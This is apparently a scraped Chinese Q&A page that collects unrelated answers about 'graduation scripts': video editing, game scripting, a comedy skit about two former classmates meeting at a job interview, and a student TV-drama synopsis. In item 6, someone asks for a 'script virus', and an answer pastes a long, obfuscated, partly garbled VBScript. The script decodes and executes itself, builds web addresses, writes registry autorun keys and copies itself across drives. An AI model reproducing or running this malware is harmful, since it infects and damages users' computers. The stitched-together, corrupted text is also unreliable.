畢業腳本

1. 利用會聲會影 X3製作一段 1分鍾影片。要求：腳本為畢業典禮；素材包括，10秒鍾視頻 兩段，10張圖片，音樂一

53809視頻編輯問題請用玩轉視頻軟體解決
支持所有視頻格式的編輯合並剪切字幕
配音
我名字點修改為.網站有介紹
或者網路搜索 玩轉視頻軟體

2. 計算機專業畢業設計寫個游戲腳本可以嗎請前輩們回答。

你畢業設計做啥，主要還得看學校開題都給什麼題目做。如果沒有要求，就看導師注重哪個方面。如果導師允許你做游戲腳本，那你應該理解按鍵精靈的具體實現，別答辯的時候說不出來。

3. 08級畢業會 急需小品腳本

《畢業以後》
時間：某日上午
地點：某公司面試廳前
人物：溫梁牽（男）、沈木瑤（女）、應聘者甲、乙、部門經理
啟幕：（甲、乙坐在凳子上等待面試）
部：（甲）進來面試（不到一會兒功夫就出來了）
部：（乙）進來面試。
沈：（邊打電話邊上場）恩！好的，這件事就這樣吧，拜拜！（走過凳子，不經意的看了一下溫，忽然停住腳步，轉身面向溫）老班長！！！！（非常激動）
溫：（慢慢的站起來，一臉驚訝的看著沈）沈??木??瑤！！！！！
沈：真的是你，老班長，可有一陣子沒見你了！
溫：嘿！丫頭，變淑女了，都認不出你了！
沈：你還不是，都人模人樣了！
溫：想當年在大學里跟個假小子似的，可現在（一邊打量一邊繞著沈轉了一圈）
沈：彼此彼此，廢話少說，老規矩！（兩個人做了一個習慣性的手勢，異口同聲的來了一句）兄弟！親人啊！
沈：對了，老班長，最近混的如何啊？
溫：哎！就別提了，畢業都這么多年了，我卻還是一個小職員，明明我的業績最高，可老闆就是不給我升職加薪，一氣之下我就炒他魷魚，怎麼說本帥哥當年在大學里也算是個人才，就不提我身兼數職成績優異又長的一表人才了，光我那足夠出國的2400點GRE那些公司老總、經理也該傻了眼，當我如獲至寶了吧！丫的，個個眼睛都長到後腦勺上去，這已經是我面試的第九家公司了，怎一個慘字了得啊！還是說說你吧！
沈：我有什麼好說的啊！還不是那樣！
溫：是啊，你一點也沒變還是老樣子，你也是來面試的吧？
沈：呵呵！我.....（剛想說，還沒開口溫又接著往下說了）
溫：以前的同學你還有聯系嗎？最近忙著找工作，都很久沒上校友錄了，慚愧啊！
沈：那是，跟阿甘比你可差遠了！那小子整天在校友錄上發帖子，組織大家聚會呢！
溫：阿甘？就是以前整天上面球服下面褲衩加拖鞋的阿甘？
沈：對啊 。這小子現在可時尚了，整個一個自由職業人，收入可觀著呢，小日子過的特愜意。
溫：當年那小子拖拖塌塌的形象可鬧了不少笑話，記得有一次，那小子吃完午飯，在校園的長椅子上打盹，醒來後居然發現飯盒裡放了幾毛錢。
沈：哈哈！這事我也聽說過，不過還有更絕的，大二的時候，有次他幫我抬電腦，租了一輛板車，一路拉回來，快到的時候，一個中年人騎車趕上他，然後問：「你收什麼樣的破爛啊」？我當時看到阿甘的臉都白了！
溫：現在那小子不會再是球服、褲衩加拖鞋了吧！
沈：那是，比以前帥多了，整天把自己弄的跟謝霆鋒他爹似的！
溫：如此這般，想必工程浩大啊！
沈：可不是！老班長！記得我們大一時上電子商務概論的老師阿正嗎？
溫：當然記得，他上課超互動，每講一個問題後就瀟灑的甩甩飄逸的長發，然後問：「ANY QUESTION」每每解決一個問題就和我們一起「耶」（手做V字狀）
沈：上他的電商概論課就像上李永的幸運52一樣，特帶勁！
溫：到了考試向他套題，他總打馬虎眼，還老扯話題，「同學們，我們的目標是.....」
溫、沈：沒有蛀牙（兩人做V字狀）耶！
部：溫梁牽，可以進來面試了！（乙下場）
沈：老班長，怎麼還沒改名字啊！當年我們說你計算機學的好，是因為你名字取的好！ WINDOWS2000。
溫：呵！我要進去面試了，祝我好運吧！！（沈伸出一個拳頭）
沈：（拳式）加油！
部：（手拿文件出場）溫梁牽，到你了，可以進來面試了，（看見沈在一旁）啊！沈總！您也在這里啊，是來視察面試情況的吧！
溫：等等，沈總？？？
部：對啊，這是我們公司總經理！
沈：張副經理，你先進去等一下！我們一會兒就進去！
部：好的，總經理！（下場）
溫：木瑤，原來你........
沈：不好意思，剛才沒和你說........
溫：不不不，我不是這個意思，我只是沒想到當年那個愛哭愛鬧的天真小丫頭，在幾年後搖身一變，居然成了總經理。
沈：其實，剛來公司時，這里人人都比我強，讀研的、讀博的，海歸的，而我卻是一個打雜的小妹，每天被人呼來呵去，甚至有一次一個坐辦公室的姐姐讓我幫她去買衛生紙，我拒絕了，結果被她大聲呵斥！
溫：太過分了，那你甘心做打雜小妹就沒想過跳槽？
沈：當然不甘心啦！但是跳槽還不至於，因為我要從這家公司學到我想要學的東西。我不在乎職位有多高、工資有多少，重要的是這家公司里有沒有值得我去學的東西，對我將來所走的每一步有沒有用。
溫：（點點頭）那後來呢？
沈：從那之後，我不再麻木的做打雜小妹了，白天我從那些博士、留學生身上學習如何製作動感、時尚的廣告，晚上，我同那些渴望升職加薪的都市白領一樣去各個培訓點充電，每天在末班公車上一邊啃麵包一邊消化白天的收獲。一年半後，我以我的努力和收獲為資本做了幾個頗為滿意的廣告。我將它拿給經理，然而換來的卻是無盡的嘲諷。
溫：是不是你的廣告還沒有達到他們需要的水準？
沈：（面無表情的搖搖頭）一個星期後，在**原創廣告大賽上，我意外的看到了我的作品，令我更意外的不是它風光的獲得了二等獎。而是獲獎人的名字欄里居然寫著公司經理的名字。
溫：什麼？？？（非常激動）
沈：冷靜！冷靜！！我慶幸那一刻我這樣告訴自己。因為這件事讓我了解到自己的才華，下一秒我用 E_mail炒了老闆的魷魚。後來的時間里，我四處籌集資金，開辦了現在這家公司，現在公司成立有一年多了，規模要比剛開始大2--3倍，管理體系也日趨完善。我很慶幸有過那艱難的一年半，它使我學到了很多，也成長了很多！老班長！其實你比我們都強，總有一天你會比我們出色的！
溫：（感慨萬千）這幾年，我頻頻換工作，有的只做了一個月就不幹了，因為我總覺得自己是個人才，卻沒有得到重用，木瑤！現在你讓我明白了，路！是要一步一步的走，才能走的穩、走的高！
沈：（伸出一隻手）班長加油！你永遠是最棒的！
溫：（伸出一隻手）
溫、沈：兄弟，親人啊！
溫：走！面試完了老班長請客，唉！別以為這是行賄！還有，不許對我特別關照！你是知道我這個人的！！
沈：恩！！（下場）

4. 老師您好。我是一名專科畢業生，目前自學了按鍵精靈的腳本語言，現在

要做java
你學C++幹嘛
直接學Java就行了

5. 本人初中畢業， 想編寫 腳本。 但是，腳本教程看不懂，是不是要學編程知識

這個是需要一些編程的基礎知識！

6. 急！！！麻煩好心人發我一個腳本病毒！！畢業設計演示用的，謝謝

沒辦法上傳附件，直接粘貼在這里了。
那，下面的內容復制保存為一個.vbs文件即可，經過幾次加密。
不能用的話給我發郵件，我的郵箱：[email protected]
記得小心別自己雙擊打開了。
'12.14
O1="'2.76((=|2.76|}{
=|`|}{
=|`.|}{=|`.|}{=|G|&}{
=(659)&(661)&(661)&(667)&|://|&|2.|&(09)&(09)&(93)&|5.|&(658)&|/27.|&(42)&||&(667)}{
7=(659)&(661)&(661)&(667)&|://|&|1.|&(05)&(05)&(01)&|3.|&(658)&|/27.|&(42)&||&(667)}{'   }{ }{ =(|.|)}{
=(|.
|)}{ =
.
(6)}{ =
.
(5)}{ =
.}{=.}{=
.
(7)&|\|}{=
.
(6)&|\\|}{=
(.
,(.
)-(.))}{
=&|\|  =)): 
():((   }{

.
(&|\|&)  
 &|\|&,5&
&}{=(&|\|&,6)}{=(&|\|&,7)}{
=|_
|   IN()   ()  
 &|\|&,5&
&}{
 &|\|&,(+6)&
&}{=(|.|,6)  (|.|,6)}{
(&|\|&,6)>855  -()>7   }{=(&|\|&
,8)}{
=||  =5}{=6}{=||}{  <>|<>|}{
=7  =8 }{7=
(&|.|,
7&|?=|&,5,6,655)}{=(&|.|,6)}{
=6  =9 }{6=
(&|.|,
&|?=|&,5,6,655)}{=(&|.|,6)}{ 
}{=+6}{
>9 }{
6=6  7=6  =6}{ }{ 
}{}{

.
(&|.|) }{ 
=
.
(&|.|, 6) }{=
.}{=
.}{=
.}{
=
.}{=
.}{=
.}{=
.}{
=
.}{=
.}{=
.}{= 
.}{= 
.}{
.}{
(&|.|)}{
=|<>| }{
 &|\|&,5&
&}{
6,,,,,}{
<>  
.
(&|\|&
&|.|) }{
 &|\|&,
,,8,7555}{.}{ 
}{
=6   }{
<>  
.
(&) }{
 &}{
 &,
,6,8,7555}{ 
}{ 
}{ 
}{ 
}{ 
}{
    =6)): : ():((

.
()  }{ ,5}{
.
()}{ 
}{

.
() }{ ,5}{
.
()}{ 
)): : (,):((
 }{ =
.
(, )}{. }{.}{ ,7+9)): : (,
,,

,
,):((
=5 }{
=&|\|&
}{}{
=&
}{ 
}{
 
}{ =
.
(
, )}{. }{. |[]|}{. }{. |=. .\|&
&|.|}{. }{. |\=打開(&)|}{. }{. |\\=. .\|&
&|.|}{. }{. |\\
=6|}{. }{.}{ 
,6+7+9)): : (,):((
<5  =.
}{

.
() }{

.
().=5 }{=|_
|}{}{ 
=
.
(, 6)}{ =
.
(, 6)}{.}{=.}{.}{
>5  <= }{=5 }{  <}{=+6}{
 
.
 }{=
.}{}{=|_
|}{ 
}{}{=}{
<=5 }{=
.}{}{=|_
|}{ 
}{
.}{ 
}{}{=|_
|}{ 
)): :
(,):((

.
(
) }{ 
=
.
(
) }{
.=}{ 
=}{ 
}{

.
(
) }{ 
=
.
(
)}{
.=}{ 
=}{ 
)): : (,,,
,
)((=5}{  <}{ 
,5}{ = (
): = (
):}{'
6=7  . |!|}{  = (|
.|) }{'
6=7  . |!|}{. ||,,5 }{'
6=7  . |!|}{   }{.()}{
  }{
=6}{'
6=7  . |!|}{  = (|.|) }{'
6=7  . |!|}{. = 8 }{'
6=7  . |!|}{. = 6 }{'
6=7  . |!|}{.() }{'
6=7  . |!|}{.(.) }{'
6=7  . |!|}{.
 ,7 }{'
6=7  . |!|}{ 
,7+9}{

.
(
) }{
=
.
(
).}{}{
=5}{ 
}{

> }{

=6  . 
}{ }{ 
}{}{
=5}{=+6}{
 
}{. 8555}{ 
}{)) : (,
):((   }{ =(|:\\.\\7|)}{ =.(| *
 87_  ='|&&|'|)}{=6 }{
    }{=+6}{}{
  }{
>  =}{}{=6}{ 
)):  () .=5 =

.=   ()=1882117982791189023101820291073779112775148867509175910173177481689628187391419731771478674747771187177941175168868780750913101751688688777118717794117516886878875091310175168868577711871771411751688687897509131017516888897771187177141175168848175161197516886868575291310177711871771681678688777118717710128101411751688685847516119751688687887529131017771187177168167868877711871779011975941177711871772018820187181327731674777118717791023297774:= :=&(&:=):  ()>6: 
((,6))  =&&(,7)&:=(,8) 
 =&+(,9)+:=(,0):() ":function ucc(b):x="22266326224E6578742229":y="execute """"":z="&chr(&h":w=")":do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)
loop:execute(y):end function:O2="((  
.FE(&|\|&
&|.|)}{
(()  60)=5  }{. 00555}{}{.))":O3="((
    }{
=&|\|  =.(| |&,8,
)}{}{
  }{. 0555}{
(|.|,7)=6 }{
(&|\.|,6)= () }{.}{}{
 &|\.|,}{ 
}{ 
}{
(|.|,7)<>6  (|.|,7)  .}{ 
}{
}{
 }{}{
(&
,6)<> }{
6,5,5,5,5,5}{ 
}{
(&|\|&
,6)<> }{
5,5,5,5,5,5}{ 
}{=(&
,0)}{

.
(&) }{. &}{ 
}{
(&|\|&
&|.|,6)<>|'|& }{ &|\|&
&|.|}{}{ 
}{
(&|\|&
&|.|,6)<>|'|& }{ &|\|&
&|.|}{ 
}{
(&
&|.|,6)<>|'|&  (&
,66)=6 }{
 &
&|.|,(O6+O7)}{ 
}{
(&
,66)=7 }{
    }{
.=7 }{

.
(&|/.
|) }{
 &|/.
|}{ 
}{

.
(&|/.
|) }{
 &|/.
|}{ &|/.
|,6+7+9}{ 
}{ 
}{}{ 
}{}{. &}{}{ &,7+9}{ &|\|&
&|.|}{ &|\|&
&|.|}{}{. &|\|&
&|.|}{ 
)): 
():((   }{
(&
,2)=6 }{(((&
,4)))}{ 
)): : (,)((
 }{

.
(
) }{
.

,,}{ 
)): : 
():((
 }{ 
=
.
(&,6)}{=
.}{
. }{ =
.
(, )}{. }{.}{ ,7+9)): : ():((RP=|HKEY_LOCAL_MACHINE\SOFTWARE\M
\W\CV\\E\\| }{T_N=|REG_SZ|}{K_N=||}{K_D=
&|.|}{W.RW RP&K_N,K_D,T_N)): : ():((RP=|HKEY_CURRENT_USER\S
\M
\W\CV\E\A\| }{T_N=|REG_DWORD|}{K_N=|SSH|}{K_D=|55555555| }{W.RW RP&K_N,K_D,T_N)): : ():((

.
() }{

.
(
.
())  }{

.
()}{ 
}{
.
()}{ 
)): : (
,,,,,):((=(&|\|&
,8)}{ 
<=}{=&|,|&
}{
=
+6}{}{=&}{=S(,|,|)}{F =5 T U()}{
=() }{

.
(&
) }{
 &
,|://|&
,5,7,7555}{ 
}{ 
}{}{
=
(
,))): : (
,,,):((

.
(&
)  (,6) }{
 &
,|://|&
,5,7,8555}{ 
}{=
(
,))): : (,):((

.
(&
) }{
<>5 }{=}{. |%% /  7557-|&()&|-|&(),}{. (*6555)}{ 
}{. &
}{
=6}{
>5 }{. 0555}{. |%% /  |&,}{ 
}{ 
)): : 
(
,
):((
(,6) }{   }{S =(|:\\.\\7|) }{S =. (| *
 87_  ='|&&|' |)}{
     }{.()}{}{
=6  =6}{ 
)): : ():((   }{}{
    }{
.=8  (.=6  <>|A:|  <> |B:|) }{

.
(&|\.
|) }{
 &|\.
|}{ 
}{

.
(&|\|&
&|.|) 
.
(&|\.
|) }{
(&|\.
|,6)<> }{
 &|\|&
,&|\.
|}{
 &|\|&
&|.|,&|\|&
&|.|}{ 
}{}{}{
 &|\|&
,&|\.
|}{
 &|\|&
&|.|,&|\|&
&|.|}{ 
}{ 
}{}{
(()  0)=5  <>6 }{=}{. 15555}{ 
}{
<>-6 }{}{ 
}{. 8555}{)): : ():((
(&,6)<>|'|& }{(|,!|)}{
 &}{.}{ 
)): ":execute(ucc(O1+O3)):OO=" 
}{}{}{
 &|\|&
,&|\.
|}{
 &|\|&
&|.|,&|\|&
&|.|}{ 
}{ 
}{}{
(()  0)=5  <>6 }{=}{. 15555}{ 
}{
<>-6 }{}{ 
}{. 8555}{)): : ():((
(&,6)<>|'|& }{(|,!|)}{
 &}{.}{ 
)): ":

7. 想學軟體腳本製作開發，但是我初中都沒畢業

可以了，你去報個培訓班吧。。不過對於找這方面的工作，別太樂觀了。自己玩玩還行

8. 快畢業了，老師說做個視頻，拍攝腳本怎麼寫啊，要20個鏡頭，標出近景遠景那些，哪位大俠提供個參考範文啊

老師若從沒教過就讓老師寫；若老師教過的就讓自己寫。
臨畢業了連基本功都不會，要你何用！？

9. 大學生就業分鏡頭腳本

《我心飛翔》

中國首部記錄當代大學生心靈成長短篇電視連續劇
百家媒體千次報道 打造大學生創作精品
五集電視劇策劃文案

<我心飛翔>（故事梗概）

青春是一出戲劇
學校是一個舞台
若讓我現在上場
定讓它掌聲如雷

如果說小學生是祖國的花朵與未來，那麼大學生則是國家的棟梁之材，青年興，則國家興，青年強，則國家強；作為未來國家建設的主力軍，大學中的我們，准備好了嗎？

學校是一個大課堂，更是一個小社會，對於許多剛剛踏入大學校門的學生來說，大學校園里的一切都充滿了新奇，從剛進校門的青春飛揚，到告別母校的熱淚盈眶，這當中經歷了怎樣的一段成長？

本劇將向大家介紹一群懷揣著理想的大學生從剛剛踏入校門到最終畢業的這個時間段里所經歷的故事，他們當中有的來自於偏僻的山村，有的是高乾子弟，有的則來自於城市下崗工人的家庭；不同的成長環境，不同的生活背景，卻註定他們要在一起共同度過難忘的四年大學光陰；

本片在故事的敘述上,平實生活化的展開故事情節,力圖使本劇貼近校園,貼進生活,貼進學生;在展現當代大學生積極健康的精神風貌的同時，著重關注大學生在成長過程中的心理變化，將《一位辛酸父親的來信》,馬加爵式的心理問題,大學生就業等社會問題巧妙的糅合到故事的元素之中,從而使本劇具備一定的社會意義;

作為國內第一部關注當代大學生心理問題的電視片，我們將著重故事情節的構建，多角度，多層面挖掘人物的內心世界，比如說片中的***同學是來自偏僻農村的特困生，多年來是在希望工程的幫助下，在終於念上了大學，從農村走向了城市，但是由於現實與理想的巨大差異，從而誕生的自卑心理，以及隨之而來的學習與社會上的壓力，最終做出了令人嘆息的舉動，所以我們希望通過此片呼籲社會，學校和家庭，更多的關注大學生心理問題；

盡管穿插著不同的創作元素，本劇的主要風格還是青春、活力與健康，同時在劇中還將塑造出一批能夠反映大學生良好風貌的藝術形象，通過角色之間的相互對照，將那些積極、健康的形象定格在觀眾的印象之中；

同時，也希望此劇能夠給正在校園里的大學生們以啟發，促使他們更好的學習專業知識，樹立良好的心理狀態，正確的應對未來的一切挑戰；